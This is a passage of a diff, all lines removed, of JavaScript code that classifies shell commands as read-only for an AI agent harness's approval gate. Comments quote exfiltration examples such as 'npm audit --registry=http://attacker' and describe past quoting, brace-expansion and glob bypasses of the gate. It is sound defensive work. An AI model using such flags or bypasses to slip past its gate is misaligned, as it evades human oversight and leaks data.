* alone). Ambiguous shorter prefixes (`--m`, `--c`/`--co`, `--f`/`--fo`/
|
|
355
|
-
* `--for`, `--s`/`--se`/`--set`/.../`--set-upstre`, `--n`/`--no`/`--no-`)
|
|
356
|
-
* genuinely ERROR on real git (do not write) and are correctly left
|
|
357
|
-
* unmatched below — `isLongOptionAbbreviation`'s gated minimum is what
|
|
358
|
-
* keeps them unmatched.
|
|
359
|
-
*
|
|
360
|
-
* `--track` (`-t`) was also checked (task brief flagged it as a "?"):
|
|
361
|
-
* bare `git branch --track` / `--track=direct` (no positional) is a
|
|
362
|
-
* harmless no-op read (measured: lists branches, no config change);
|
|
363
|
-
* the only way `--track` mutates is alongside a branch-name positional
|
|
364
|
-
* (`git branch --track newname`), which the structural "no non-flag
|
|
365
|
-
* operand" rule in `isReadOnlyGitInvocation` already blocks. No new
|
|
366
|
-
* guard needed for `--track`.
|
|
367
|
-
*/
|
|
368
|
-
const BRANCH_WRITE_FLAGS = new Set([
|
|
369
|
-
"-d", "-D", "--delete", "-m", "-M", "--move", "-c", "-C", "--copy",
|
|
370
|
-
"-u", "--set-upstream-to", "--unset-upstream", "--edit-description",
|
|
371
|
-
"--set-upstream", "-f", "--force",
|
|
372
|
-
]);
|
|
373
|
-
function isBranchWriteFlag(raw) {
|
|
374
|
-
const hit = (t) => {
|
|
375
|
-
if (BRANCH_WRITE_FLAGS.has(t))
|
|
376
|
-
return true;
|
|
377
|
-
if (t.startsWith("--set-upstream-to=") || t.startsWith("--set-upstream="))
|
|
378
|
-
return true;
|
|
379
|
-
// Unambiguous GNU abbreviations of each long-form write flag. See
|
|
380
|
-
// the measurement table above for the minimum prefix length and
|
|
381
|
-
// over-block audit for each. `isLongOptionAbbreviation` itself
|
|
382
|
-
// strips any glued `=VALUE` before comparing, so this also covers
|
|
383
|
-
// `--set-upstream-t=other`, `--del=`, etc.
|
|
384
|
-
if (isLongOptionAbbreviation(t, "--delete", 1))
|
|
385
|
-
return true;
|
|
386
|
-
if (isLongOptionAbbreviation(t, "--move", 2))
|
|
387
|
-
return true;
|
|
388
|
-
if (isLongOptionAbbreviation(t, "--copy", 3))
|
|
389
|
-
return true;
|
|
390
|
-
if (isLongOptionAbbreviation(t, "--force", 4))
|
|
391
|
-
return true;
|
|
392
|
-
if (isLongOptionAbbreviation(t, "--unset-upstream", 1))
|
|
393
|
-
return true;
|
|
394
|
-
if (isLongOptionAbbreviation(t, "--edit-description", 1))
|
|
395
|
-
return true;
|
|
396
|
-
if (isLongOptionAbbreviation(t, "--set-upstream-to", 13))
|
|
397
|
-
return true;
|
|
398
|
-
return false;
|
|
399
|
-
};
|
|
400
|
-
return hit(raw) || hit(decodeShellWord(raw));
|
|
401
|
-
}
|
|
402
|
-
/**
|
|
403
|
-
* `git remote` verbs that read without writing. Positive allow-list:
|
|
404
|
-
* `add`/`remove`/`rm`/`rename`/`set-url`/`set-head`/`set-branches`/
|
|
405
|
-
* `prune`/`update` all mutate and are therefore simply absent, so a
|
|
406
|
-
* future write verb this floor has not reasoned about fails closed.
|
|
407
|
-
* `show` and `get-url` contact/print only; `-v`/`--verbose` (a leading
|
|
408
|
-
* dash) is bare listing.
|
|
409
|
-
*/
|
|
410
|
-
const REMOTE_READ_ONLY_VERBS = new Set(["show", "get-url"]);
|
|
411
|
-
/**
|
|
412
|
-
* Per-subcommand argument-form check for a git subcommand whose NAME is
|
|
413
|
-
* already in `GIT_READ_ONLY_SUBS`. Returns true only when the specific
|
|
414
|
-
* argument form is provably read-only; anything else fails closed
|
|
415
|
-
* (task 9d1fff1b). The design is POSITIVE per subcommand (enumerate the
|
|
416
|
-
* read-only shapes) rather than a denylist of write shapes: a git
|
|
417
|
-
* argument this floor has not reasoned about then over-blocks (annoying)
|
|
418
|
-
* instead of laundering a write (unsafe) — the same choice the module
|
|
419
|
-
* header states and the `npm audit` guard already makes.
|
|
420
|
-
*
|
|
421
|
-
* `args` is the token list AFTER the subcommand (i.e. `tokens.slice(2)`).
|
|
422
|
-
*/
|
|
423
|
-
function isReadOnlyGitInvocation(sub, args) {
|
|
424
|
-
// Global write/exec vectors reachable from many subcommands' shared
|
|
425
|
-
// option parser and transport layer (--output, --upload-pack, ext::,
|
|
426
|
-
// ...). Checked first so they apply to EVERY read-only subcommand,
|
|
427
|
-
// including the ones the switch below returns `true` for unconditionally.
|
|
428
|
-
if (args.some(isGitDangerousToken))
|
|
429
|
-
return false;
|
|
430
|
-
// End-of-options: everything after a bare `--` is an OPERAND, never a
|
|
431
|
-
// flag, so fold it into the positional view. Without this, `git tag --
|
|
432
|
-
// <name>` would read as an all-flag form. (git itself rejects a
|
|
433
|
-
// dash-leading refname, so `git tag -- -x` errors rather than writing,
|
|
434
|
-
// but the classifier should not depend on git's refname rules to stay
|
|
435
|
-
// sound.)
|
|
436
|
-
const ddIndex = args.indexOf("--");
|
|
437
|
-
const flagScope = ddIndex === -1 ? args : args.slice(0, ddIndex);
|
|
438
|
-
const operandTail = ddIndex === -1 ? [] : args.slice(ddIndex + 1);
|
|
439
|
-
const isPositional = (t) => !t.startsWith("-");
|
|
440
|
-
const noPositional = () => operandTail.length === 0 && flagScope.every((t) => !isPositional(t));
|
|
441
|
-
switch (sub) {
|
|
442
|
-
// Creating/deleting/moving a branch or tag ALWAYS takes a non-flag
|
|
443
|
-
// operand (the branch/tag name), so "no non-flag operand" blocks
|
|
444
|
-
// every positional write form structurally; the flag check adds the
|
|
445
|
-
// few glued no-positional branch writes (--set-upstream-to=, etc.).
|
|
446
|
-
// A bare `git branch` / `git tag` and pure-flag listings stay
|
|
447
|
-
// read-only. `git tag` needs no flag denylist: every tag mutation
|
|
448
|
-
// (create/delete/annotate) requires the tag-name operand.
|
|
449
|
-
case "branch":
|
|
450
|
-
return noPositional() && !flagScope.some(isBranchWriteFlag);
|
|
451
|
-
case "tag":
|
|
452
|
-
return noPositional();
|
|
453
|
-
// `git remote`: bare, `-v`/flags, or the read-only verbs show/get-url.
|
|
454
|
-
// Any other first non-flag token (add/set-url/prune/update/...) blocks.
|
|
455
|
-
case "remote": {
|
|
456
|
-
const verb = flagScope.find(isPositional) ?? operandTail[0];
|
|
457
|
-
return verb === undefined || REMOTE_READ_ONLY_VERBS.has(verb);
|
|
458
|
-
}
|
|
459
|
-
// `git fetch`: bare or a single positional (a remote name or URL) is
|
|
460
|
-
// floored read-only, matching the pre-existing fetch contract — it
|
|
461
|
-
// writes remote-tracking refs, FETCH_HEAD, and auto-followed / `--tags`
|
|
462
|
-
// tag refs, and `--prune` deletes remote-tracking refs; all of that is
|
|
463
|
-
// consciously accepted here (measured, not "remote-tracking only" as an
|
|
464
|
-
// earlier comment claimed). The escalation this task closes is the
|
|
465
|
-
// arbitrary-LOCAL-ref write via a refspec: `git fetch <remote>
|
|
466
|
-
// <src>:<localdst>` — a SECOND positional. So block on >=2 positionals.
|
|
467
|
-
// (`--refmap` cannot carry a lone write: git dies "only meaningful with
|
|
468
|
-
// command-line refspec(s)" without a positional refspec — measured.)
|
|
469
|
-
// A single positional URL contains `:` (https://, git@host:) and is
|
|
470
|
-
// correctly NOT blocked; the ext:: transport is caught by the global
|
|
471
|
-
// danger check above. Separated flag values (`--depth 5`) inflate the
|
|
472
|
-
// positional count and conservatively over-block; use `--depth=5`.
|
|
473
|
-
case "fetch": {
|
|
474
|
-
const positionalCount = flagScope.filter(isPositional).length + operandTail.length;
|
|
475
|
-
return positionalCount <= 1;
|
|
476
|
-
}
|
|
477
|
-
// `git reflog`: the write verbs expire/delete/drop are always the
|
|
478
|
-
// FIRST arg. Read-only iff bare, explicit `show`, or a flag-led form
|
|
479
|
-
// (`git reflog -n 5`). A leading ref (`git reflog HEAD`, read-only)
|
|
480
|
-
// is conservatively blocked — acceptable over-block. `--`-prefixed:
|
|
481
|
-
// fall through to the operand so `git reflog -- expire` cannot pass.
|
|
482
|
-
case "reflog": {
|
|
483
|
-
const head = args[0] === "--" ? operandTail[0] : args[0];
|
|
484
|
-
return head === undefined || head === "show" || head.startsWith("-");
|
|
485
|
-
}
|
|
486
|
-
// Every other subcommand in GIT_READ_ONLY_SUBS reads without a
|
|
487
|
-
// ref/tree/index/config mutation for all argument forms (status,
|
|
488
|
-
// ls-files, ls-remote, rev-parse, cat-file, ...). The two ways such a
|
|
489
|
-
// subcommand could still write or execute — the shared `--output`
|
|
490
|
-
// file handler and the `ext::`/`--upload-pack` transport execution —
|
|
491
|
-
// are already forfeited by the global `isGitDangerousToken` check
|
|
492
|
-
// above (measured on rev-list/shortlog/blame --output and ls-remote/
|
|
493
|
-
// fetch upload-pack); config- and env-borne vectors (GIT_EXTERNAL_DIFF,
|
|
494
|
-
// core.fsmonitor, protocol.ext.allow) are invisible to an argv
|
|
495
|
-
// classifier and out of scope for this task.
|
|
496
|
-
default:
|
|
497
|
-
return true;
|
|
498
|
-
}
|
|
499
|
-
}
|
|
500
|
-
/**
|
|
501
|
-
* `gh` (GitHub CLI) noun + verb pairs that read state without writing.
|
|
502
|
-
* `gh pr view`, `gh pr checks`, `gh run view`, `gh workflow list`, etc.
|
|
503
|
-
*/
|
|
504
|
-
const GH_READ_ONLY_VERBS = new Set([
|
|
505
|
-
"view", "list", "diff", "checks", "status",
|
|
506
|
-
]);
|
|
507
|
-
const GH_READ_ONLY_NOUNS = new Set([
|
|
508
|
-
"pr", "issue", "run", "workflow", "release",
|
|
509
|
-
"repo", "label", "secret", "variable",
|
|
510
|
-
]);
|
|
511
|
-
/**
|
|
512
|
-
* `harness` subcommands that only inspect manifest or harness state.
|
|
513
|
-
* `harness preflight` and `harness approve` are excluded: preflight
|
|
514
|
-
* writes a ledger row, approve writes the approval marker. Both are
|
|
515
|
-
* legitimate, but if the gate is currently blocking, classifying them
|
|
516
|
-
* as read-only would let them bypass it silently. Operator-approval
|
|
517
|
-
* commands have their own escape path in `isEscapeCommand`.
|
|
518
|
-
*/
|
|
519
|
-
const HARNESS_READ_ONLY_SUBS = new Set([
|
|
520
|
-
"doctor", "validate", "audit", "diff", "list", "version",
|
|
521
|
-
"show", "status", "pause",
|
|
522
|
-
]);
|
|
523
|
-
/**
|
|
524
|
-
* `npm` subcommands that only inspect the installed tree, the registry,
|
|
525
|
-
* or the lockfile without writing to `node_modules`, `package.json`,
|
|
526
|
-
* `package-lock.json`, or the registry: `ls` / `list` (installed
|
|
527
|
-
* dependency tree), `view` / `info` / `show` (registry metadata — `info`
|
|
528
|
-
* and `show` are npm's own aliases for `view`), `outdated`, `why` /
|
|
529
|
-
* `explain` (dependency-reason report — `explain` is `why`'s formal
|
|
530
|
-
* name), `ping` (registry reachability check).
|
|
531
|
-
*
|
|
532
|
-
* Deliberately a curated ALLOWLIST, not a denylist of known-mutating
|
|
533
|
-
* subcommands (`install`, `ci`, `publish`, `update`, `version`, ...): an
|
|
534
|
-
* npm verb this floor has not been reasoned about — a new one in a
|
|
535
|
-
* future npm release, or an existing one simply not enumerated here —
|
|
536
|
-
* stays unclassified rather than being assumed safe, per the "unknown
|
|
537
|
-
* is not safe" design contract.
|
|
538
|
-
*
|
|
539
|
-
* Only CANONICAL spellings are floored, not every alias npm accepts:
|
|
540
|
-
* `la` / `ll` (aliases for `ls -la` / `ls -l`) and `v` (alias for `view`)
|
|
541
|
-
* are deliberately NOT in this set. Widening to cover every alias is a
|
|
542
|
-
* possible future extension, not required by this floor's goal (an
|
|
543
|
-
* agent hitting one of those stays gated, not miscategorized as unsafe).
|
|
544
|
-
*
|
|
545
|
-
* `audit` is deliberately NOT in this set. `npm audit` alone (the
|
|
546
|
-
* report) is read-only, but `npm audit fix` mutates the lockfile and
|
|
547
|
-
* `node_modules`; a single subcommand membership test cannot
|
|
548
|
-
* distinguish the two, so `audit` gets its own check in
|
|
549
|
-
* `classifyTokens` instead of joining this allowlist.
|
|
550
|
-
*/
|
|
551
|
-
const NPM_READ_ONLY_SUBS = new Set([
|
|
552
|
-
"ls", "list", "view", "info", "show", "outdated", "why", "explain", "ping",
|
|
553
|
-
]);
|
|
554
|
-
/**
|
|
555
|
-
* npm flags that redirect npm's network/config lookups to an
|
|
556
|
-
* operator-unverified location: `--registry` (dependency/audit data is
|
|
557
|
-
* sent to whatever host this names instead of the real registry) and
|
|
558
|
-
* `--userconfig` / `--globalconfig` (loads npm config — which can itself
|
|
559
|
-
* set `registry` — from an arbitrary file). Any of these on an otherwise
|
|
560
|
-
* floored npm subcommand forfeits the read-only classification: `npm
|
|
561
|
-
* audit --registry=http://attacker` would submit the full dependency
|
|
562
|
-
* manifest to the named host, which is exfiltration, not a safe read.
|
|
563
|
-
* Matches the glued (`--registry=URL`) and separate (`--registry URL`)
|
|
564
|
-
* unscoped forms, and the PER-SCOPE registry override
|
|
565
|
-
* (`--@scope:registry=URL` / `--@scope:registry URL`, e.g.
|
|
566
|
-
* `--@myorg:registry=http://attacker`) via `NPM_REGISTRY_FLAG_RE` — npm
|
|
567
|
-
* resolves a scoped package's registry from `@scope:registry` before the
|
|
568
|
-
* plain `registry` config, so the scoped form is an equally live
|
|
569
|
-
* exfiltration vector, not merely a naming variant. `--userconfig` /
|
|
570
|
-
* `--globalconfig` have no per-scope form; npm has no short-flag spelling
|
|
571
|
-
* for any of these three.
|
|
572
|
-
*
|
|
573
|
-
* HONEST LIMIT: this is a CLI-token guard only. It cannot see (and does
|
|
574
|
-
* not attempt to close) `registry` set via `.npmrc` (project, user, or
|
|
575
|
-
* global) or the `npm_config_registry` environment variable — both
|
|
576
|
-
* redirect npm's registry lookups identically to `--registry` but leave
|
|
577
|
-
* no trace in the argv this classifier inspects. Do not read this guard
|
|
578
|
-
* as "npm's registry source is verified"; it only denies the on-the-spot
|
|
579
|
-
* CLI override.
|
|
580
|
-
*
|
|
581
|
-
* Quoting bypass (task 2dfdf472, measured against bash's own quote
|
|
582
|
-
* removal): the RAW-token-only shape below was defeated the same way
|
|
583
|
-
* `FIND_WRITE_FLAGS` was — `npm audit --"registry"=http://evil`,
|
|
584
|
-
* `--reg"istry"=`, `--"userconfig"=`, and the scoped `--"@myorg:registry"=`
|
|
585
|
-
* spelling all decode to the real flag while none of the RAW tokens
|
|
586
|
-
* matches `NPM_REGISTRY_FLAG_RE` or the untrusted-flag set, so the
|
|
587
|
-
* unfixed guard let each one keep the read-only floor while npm actually
|
|
588
|
-
* sent the dependency manifest to the attacker-named host. Every other
|
|
589
|
-
* write/danger guard in this file already tests raw-OR-decoded
|
|
590
|
-
* (`isOutputWriteToken`, `isSortWriteToken`, `isFileWriteToken`,
|
|
591
|
-
* `FIND_WRITE_FLAGS`, `isGitDangerousToken`, `isBranchWriteFlag`,
|
|
592
|
-
* `ENV_SPLIT_STRING_FLAGS`); this guard had not been brought into that
|
|
593
|
-
* convention. Fixed the same way: decoding can only ADD a match, never
|
|
594
|
-
* remove one, so testing raw OR decoded is monotone by construction.
|
|
595
|
-
*/
|
|
596
|
-
const NPM_REGISTRY_FLAG_RE = /^--(@[^:]+:)?registry(=|$)/;
|
|
597
|
-
const NPM_UNSCOPED_UNTRUSTED_FLAGS = new Set([
|
|
598
|
-
"--userconfig", "--globalconfig",
|
|
599
|
-
]);
|
|
600
|
-
function hasNpmUntrustedSourceFlag(tokens) {
|
|
601
|
-
return tokens.some((t) => checkNpmUntrustedSourceFlag(t) || checkNpmUntrustedSourceFlag(decodeShellWord(t)));
|
|
602
|
-
}
|
|
603
|
-
function checkNpmUntrustedSourceFlag(t) {
|
|
604
|
-
return (NPM_REGISTRY_FLAG_RE.test(t) ||
|
|
605
|
-
NPM_UNSCOPED_UNTRUSTED_FLAGS.has(t) ||
|
|
606
|
-
[...NPM_UNSCOPED_UNTRUSTED_FLAGS].some((f) => t.startsWith(`${f}=`)));
|
|
607
|
-
}
|
|
608
|
-
/**
|
|
609
|
-
* Common single-flag read-only invocations: `<bin> --version`,
|
|
610
|
-
* `<bin> -v`, `<bin> --help`, `<bin> -h`. Token count must be 2 and
|
|
611
|
-
* the second token must be one of these flags. Restricts to a
|
|
612
|
-
* known-safe shape so a binary like `rm` cannot be smuggled past as
|
|
613
|
-
* `rm --version`.
|
|
614
|
-
*/
|
|
615
|
-
const VERSION_OR_HELP_FLAGS = new Set([
|
|
616
|
-
"--version", "-V", "-v", "--help", "-h",
|
|
617
|
-
]);
|
|
618
|
-
/**
|
|
619
|
-
* True when `trimmed` contains a shell chaining (`;`, `&`, `|`),
|
|
620
|
-
* redirection (`<`, `>`), command-substitution (backtick, `$(`), or a
|
|
621
|
-
* bare carriage return that could hide a write (or, for `curl`'s `-H`
|
|
622
|
-
* values, a header-injection newline a lenient parser folds on) behind
|
|
623
|
-
* an otherwise-provable read. Shared by `isReadOnlyBashCommand` and
|
|
624
|
-
* `isReadOnlyKubectlCommand` below (extracted, task da823721, to keep
|
|
625
|
-
* their identical preamble from being flagged as new copy-paste by the
|
|
626
|
-
* duplication gate), by `floorArgv` (`isReadOnlySedCommand`'s own
|
|
627
|
-
* preamble -- `floorArgv`'s only caller since D-013 removed the curl
|
|
628
|
-
* floor it used to also serve), and directly by `isReadOnlyCurlCommand`
|
|
629
|
-
* (task fdaad781, round 2:
|
|
630
|
-
* added `\r` after a measured bare-CR header-injection reaching curl's
|
|
631
|
-
* wire, see docs/risk-gate.md's curl section). NOT reused by
|
|
632
|
-
* `isReadOnlyBashPipeline`, which deliberately admits a bare `|` (see
|
|
633
|
-
* its own doc comment) and so needs a narrower reject set.
|
|
634
|
-
*/
|
|
635
|
-
function hasUnsafeShellMetachar(trimmed) {
|
|
636
|
-
return (/[;&|<>]/.test(trimmed) ||
|
|
637
|
-
trimmed.includes("\n") ||
|
|
638
|
-
trimmed.includes("\r") ||
|
|
639
|
-
trimmed.includes("`") ||
|
|
640
|
-
trimmed.includes("$("));
|
|
641
|
-
}
|
|
642
|
-
/**
|
|
643
|
-
* Classify a Bash command string. `true` means the command is
|
|
644
|
-
* provably read-only and the understanding-gate can allow it without
|
|
645
|
-
* an approved report. `false` means the command is either a write or
|
|
646
|
-
* unclassifiable; the gate must block (fail-closed).
|
|
647
|
-
*
|
|
648
|
-
* The classifier inspects the command as a raw shell string. It does
|
|
649
|
-
* NOT shell-parse or evaluate the command — that would introduce its
|
|
650
|
-
* own attack surface. Instead it rejects any string that contains
|
|
651
|
-
* shell metacharacters that could hide a write, then looks at the
|
|
652
|
-
* first one or two tokens.
|
|
653
|
-
*/
|
|
654
|
-
export function isReadOnlyBashCommand(command) {
|
|
655
|
-
const trimmed = command.trim();
|
|
656
|
-
if (trimmed === "")
|
|
657
|
-
return false;
|
|
658
|
-
// Reject any shell chaining, redirection, or command substitution.
|
|
659
|
-
// These make the command unclassifiable even when every visible
|
|
660
|
-
// piece would otherwise be read-only. Applied once to the whole
|
|
661
|
-
// string, so it also covers any residual command a runner
|
|
662
|
-
// (`env` / `command`) wraps: those are classified from the same
|
|
663
|
-
// token slice, never from a re-read of the shell.
|
|
664
|
-
if (hasUnsafeShellMetachar(trimmed))
|
|
665
|
-
return false;
|
|
666
|
-
// Refuse any NUL-decoding ANSI-C escape (`$'\0'`, `$'\x00'`, `\c@`, ...):
|
|
667
|
-
// bash truncates the `$'...'` run there, so the argument it passes is not
|
|
668
|
-
// the one the token checks below see. Not modelled, refused (task
|
|
669
|
-
// 241d9e9e); see the header of shell-word.ts.
|
|
670
|
-
if (hasAnsiCNulEscape(trimmed))
|
|
671
|
-
return false;
|
|
672
|
-
return classifyTokens(trimmed.split(/\s+/));
|
|
673
|
-
}
|
|
674
|
-
/**
|
|
675
|
-
* Classify a Bash command that MAY be a `|` pipeline. `true` means every
|
|
676
|
-
* stage is provably read-only, so the whole pipeline reads without
|
|
677
|
-
* writing and the understanding-gate can allow it without an approved
|
|
678
|
-
* report. This is the pipeline-aware companion to `isReadOnlyBashCommand`,
|
|
679
|
-
* used ONLY by the understanding-gate PreToolUse hooks so a post-task
|
|
680
|
-
* read-only poll like `gh pr checks 123 | head` is not blocked.
|
|
681
|
-
*
|
|
682
|
-
* Safety: a pipe between provably read-only stages authorizes no writes —
|
|
683
|
-
* writing requires a write-bin (not on the conservative allowlist), a
|
|
684
|
-
* redirection, or a command substitution, all of which are still refused
|
|
685
|
-
* before the split. Everything except a single `|` is rejected up front:
|
|
686
|
-
* `;`, `&` (and thus `&&`, `|&`, background `&`), `<`, `>`, backtick, and
|
|
687
|
-
* `$(`. `||` (logical OR) and a leading/trailing/doubled pipe surface as
|
|
688
|
-
* an empty stage and are refused. Each stage is then handed to the strict
|
|
689
|
-
* `isReadOnlyBashCommand`, so the per-bin write-flag guards (`find`,
|
|
690
|
-
* `sort`, `tree`, `file`) and the `command`/`env` runner recursion all
|
|
691
|
-
* still apply per stage.
|
|
692
|
-
*/
|
|
693
|
-
export function isReadOnlyBashPipeline(command) {
|
|
694
|
-
const trimmed = command.trim();
|
|
695
|
-
if (trimmed === "")
|
|
696
|
-
return false;
|
|
697
|
-
// Reject everything the single-command classifier rejects EXCEPT a
|
|
698
|
-
// single `|`. Keeping `&` in the reject set also kills `&&`, `|&`, and a
|
|
699
|
-
// backgrounding `&`; redirection and substitution stay refused. After
|
|
700
|
-
// this, the only metacharacter that can remain is `|`.
|
|
701
|
-
if (/[;&<>]/.test(trimmed))
|
|
702
|
-
return false;
|
|
703
|
-
if (trimmed.includes("\n"))
|
|
704
|
-
return false;
|
|
705
|
-
if (trimmed.includes("`"))
|
|
706
|
-
return false;
|
|
707
|
-
if (trimmed.includes("$("))
|
|
708
|
-
return false;
|
|
709
|
-
// Checked on the whole text as well as per stage: a `|` inside a `$'...'`
|
|
710
|
-
// run would otherwise split a NUL escape away from its opening `$'`.
|
|
711
|
-
if (hasAnsiCNulEscape(trimmed))
|
|
712
|
-
return false;
|
|
713
|
-
// Split on the pipe and require every stage to be a non-empty, provably
|
|
714
|
-
// read-only command. An empty stage means `||`, a leading/trailing pipe,
|
|
715
|
-
// or `| |` — all refused. A single command (no pipe) yields one stage and
|
|
716
|
-
// is classified exactly as `isReadOnlyBashCommand` would.
|
|
717
|
-
return trimmed.split("|").every((stage) => {
|
|
718
|
-
const s = stage.trim();
|
|
719
|
-
if (s === "")
|
|
720
|
-
return false;
|
|
721
|
-
return isReadOnlyBashCommand(s);
|
|
722
|
-
});
|
|
723
|
-
}
|
|
724
|
-
// Kubectl read-only VERB floor — used ONLY by the Risk Classifier's
|
|
725
|
-
// built-in floor (`risk-classifier.ts`), never by `isReadOnlyBashCommand`
|
|
726
|
-
// / `isReadOnlyBashPipeline` above. Task da823721 (blast-radius decision,
|
|
727
|
-
// verb list, secrets/configmap exclusion, and the fail-safe rationale
|
|
728
|
-
// for each: all recorded in docs/risk-gate.md's "Kubectl read-only verb
|
|
729
|
-
// floor" section — this is the single source of truth for the scope,
|
|
730
|
-
// keep it there rather than duplicating it here).
|
|
731
|
-
//
|
|
732
|
-
// Design: two ALLOWLISTS, not a metacharacter denylist. Round 1 and
|
|
733
|
-
// round 2 of this task each patched one more shell-metacharacter
|
|
734
|
-
// bypass onto a substring/decode-based exclusion (`$`-expansion,
|
|
735
|
-
// quoting, escaping); round-2 review then found brace expansion
|
|
736
|
-
// (`s{e..e}cret`), glob patterns (`s*`, `sec[r]et`), and endpoint
|
|
737
|
-
// redirection (`--server`/`-s`/`--kubeconfig`) still slipping through,
|
|
738
|
-
// because the fix kept adding exclusions for the metacharacter of the
|
|
739
|
-
// week instead of closing the class. The halt decision from that round
|
|
740
|
-
// was to stop enumerating metacharacters and redesign to allowlists:
|
|
741
|
-
// (1) every token after `kubectl` must match a plain-word shape — no
|
|
742
|
-
// quotes, backslashes, `$`, backticks, braces, globs, or any other
|
|
743
|
-
// shell-special character survives that check, which is what actually
|
|
744
|
-
// closes the brace/glob/quote/escape class at once instead of one
|
|
745
|
-
// pattern at a time; (2) every flag token must be an explicitly named,
|
|
746
|
-
// known-read flag for its verb (or a known global flag) — which is
|
|
747
|
-
// what closes the endpoint-redirection class (`--server`, `-s`,
|
|
748
|
-
// `--kubeconfig`, `--token`, `--as`, ... are simply never allowlisted,
|
|
749
|
-
// pre- or post-verb) and the file/kustomize-driven resource-selection
|
|
750
|
-
// class (`-f`/`--filename`/`-k`/`--kustomize` are not in any verb's
|
|
751
|
-
// allowlist) and the `--raw` arbitrary-endpoint class (`--raw` is not
|
|
752
|
-
// in any verb's allowlist either) in the same pass. Invariant:
|
|
753
|
-
// `isReadOnlyKubectlCommand` returns `true` only for a curated read
|
|
754
|
-
// verb, every token argv-shaped as a plain word, every flag drawn from
|
|
755
|
-
// that verb's explicit allowlist, and no secret/configmap resource
|
|
756
|
-
// mention; every other shape fails closed to `false`.
|
|
757
|
-
const KUBECTL_READ_ONLY_VERBS = new Set([
|
|
758
|
-
"get", "describe", "logs", "top",
|
|
759
|
-
"api-resources", "api-versions", "version", "cluster-info", "explain",
|
|
760
|
-
]);
|
|
761
|
-
// Verbs whose resource argument can materialize live Secret or
|
|
762
|
-
// ConfigMap data.
|
|
763
|
-
const KUBECTL_SENSITIVE_RESOURCE_VERBS = new Set(["get", "describe"]);
|
|
764
|
-
// Token shape allowlist. Every token after `kubectl` must match this:
|
|
765
|
-
// letters, digits, and `_ . : / = , @ % + -`. That excludes quotes,
|
|
766
|
-
// backslashes, `$`, backticks, `{`/`}` (brace expansion), `*`/`?`/`[`/`]`
|
|
767
|
-
// (globs), `~`, `!`, `#`, `&`, `;`, `|`, `<`, `>`, `(`, `)`, and spaces
|
|
768
|
-
// (embedded via quoting). A token that fails this never reaches the
|
|
769
|
-
// verb or flag checks below: fail-closed on shape alone. This also
|
|
770
|
-
// makes decoding quoted/escaped forms of "secret" or "configmap"
|
|
771
|
-
// unnecessary — a quoted or escaped token simply never matches this
|
|
772
|
-
// pattern in the first place, so the resource-mention checks below only
|
|
773
|
-
// ever need to look at the raw token.
|
|
774
|
-
const KUBECTL_PLAIN_WORD_PATTERN = /^[A-Za-z0-9_.:/=,@%+-]+$/;
|
|
775
|
-
// Global flags, allowed before OR after the verb. Only the ones in
|
|
776
|
-
// `KUBECTL_GLOBAL_VALUE_FLAGS` consume a following token as their value
|
|
777
|
-
// (in the `--flag value` form; `--flag=value` never consumes a
|
|
778
|
-
// following token). Deliberately excludes every flag that names an
|
|
779
|
-
// alternate endpoint or identity — `--server`, `-s`, `--kubeconfig`,
|
|
780
|
-
// `--token`, `--as`, `--as-group`, `--user`, `--cluster`,
|
|
781
|
-
// `--tls-server-name`, `--insecure-skip-tls-verify` — so none of them
|
|
782
|
-
// can ever float credentials or requests to a caller-chosen host
|
|
783
|
-
// through this floor, no matter whether they appear before or after
|
|
784
|
-
// the verb.
|
|
785
|
-
const KUBECTL_GLOBAL_ALLOWED_FLAGS = new Set([
|
|
786
|
-
"--context", "--namespace", "-n", "--request-timeout", "-v", "--v",
|
|
787
|
-
"--all-namespaces", "-A",
|
|
788
|
-
]);
|
|
789
|
-
const KUBECTL_GLOBAL_VALUE_FLAGS = new Set([
|
|
790
|
-
"--context", "--namespace", "-n", "--request-timeout", "-v", "--v",
|
|
791
|
-
]);
|
|
792
|
-
// Per-verb read-flag allowlists. `*_VALUE` is the subset that consumes
|
|
793
|
-
// a following token as its value in the `--flag value` form; every
|
|
794
|
-
// other allowed flag is boolean (never consumes a following token).
|
|
795
|
-
// `--raw` (arbitrary API server path) and the file/kustomize-driven
|
|
796
|
-
// resource selectors `--filename`/`-k`/`--kustomize` (this module
|
|
797
|
-
// cannot see what a manifest file or kustomization directory names, so
|
|
798
|
-
// it cannot prove the selected resource is not a Secret or ConfigMap)
|
|
799
|
-
// are deliberately absent from every verb's allowlist below — that
|
|
800
|
-
// omission is the enforcement mechanism, not a separate check. `-f` is
|
|
801
|
-
// allowlisted for `logs` ONLY, where it means --follow; on `get` and
|
|
802
|
-
// `describe` it is the file selector and is deliberately absent.
|
|
803
|
-
// Every `*_VALUE` member must be a pflag flag with an empty NoOptDefVal
|
|
804
|
-
// (it always consumes the next argv element): if upstream ever turns
|
|
805
|
-
// one of them into a boolean-with-default, the following token stops
|
|
806
|
-
// being consumed by kubectl and must be re-validated here.
|
|
807
|
-
const KUBECTL_GET_ALLOWED_FLAGS = new Set([
|
|
808
|
-
"-o", "--output", "-l", "--selector", "--field-selector", "-w", "--watch",
|
|
809
|
-
"--watch-only", "--show-labels", "--no-headers", "--sort-by", "--show-kind",
|
|
810
|
-
"--label-columns", "-L", "--chunk-size", "--ignore-not-found",
|
|
811
|
-
]);
|
|
812
|
-
const KUBECTL_GET_VALUE_FLAGS = new Set([
|
|
813
|
-
"-o", "--output", "-l", "--selector", "--field-selector", "--sort-by",
|
|
814
|
-
"--label-columns", "-L", "--chunk-size",
|
|
815
|
-
]);
|
|
816
|
-
const KUBECTL_DESCRIBE_ALLOWED_FLAGS = new Set([
|
|
817
|
-
"-l", "--selector", "--show-events",
|
|
818
|
-
]);
|
|
819
|
-
const KUBECTL_DESCRIBE_VALUE_FLAGS = new Set(["-l", "--selector"]);
|
|
820
|
-
const KUBECTL_LOGS_ALLOWED_FLAGS = new Set([
|
|
821
|
-
"-f", "--follow", "-c", "--container", "--all-containers", "--tail", "--since",
|
|
822
|
-
"--since-time", "--timestamps", "-p", "--previous", "--limit-bytes", "--prefix",
|
|
823
|
-
"-l", "--selector", "--max-log-requests",
|
|
824
|
-
]);
|
|
825
|
-
const KUBECTL_LOGS_VALUE_FLAGS = new Set([
|
|
826
|
-
"-c", "--container", "--tail", "--since", "--since-time", "--limit-bytes",
|
|
827
|
-
"-l", "--selector", "--max-log-requests",
|
|
828
|
-
]);
|
|
829
|
-
const KUBECTL_TOP_ALLOWED_FLAGS = new Set([
|
|
830
|
-
"--containers", "--sort-by", "-l", "--selector", "--no-headers",
|
|
831
|
-
"--use-protocol-buffers",
|
|
832
|
-
]);
|
|
833
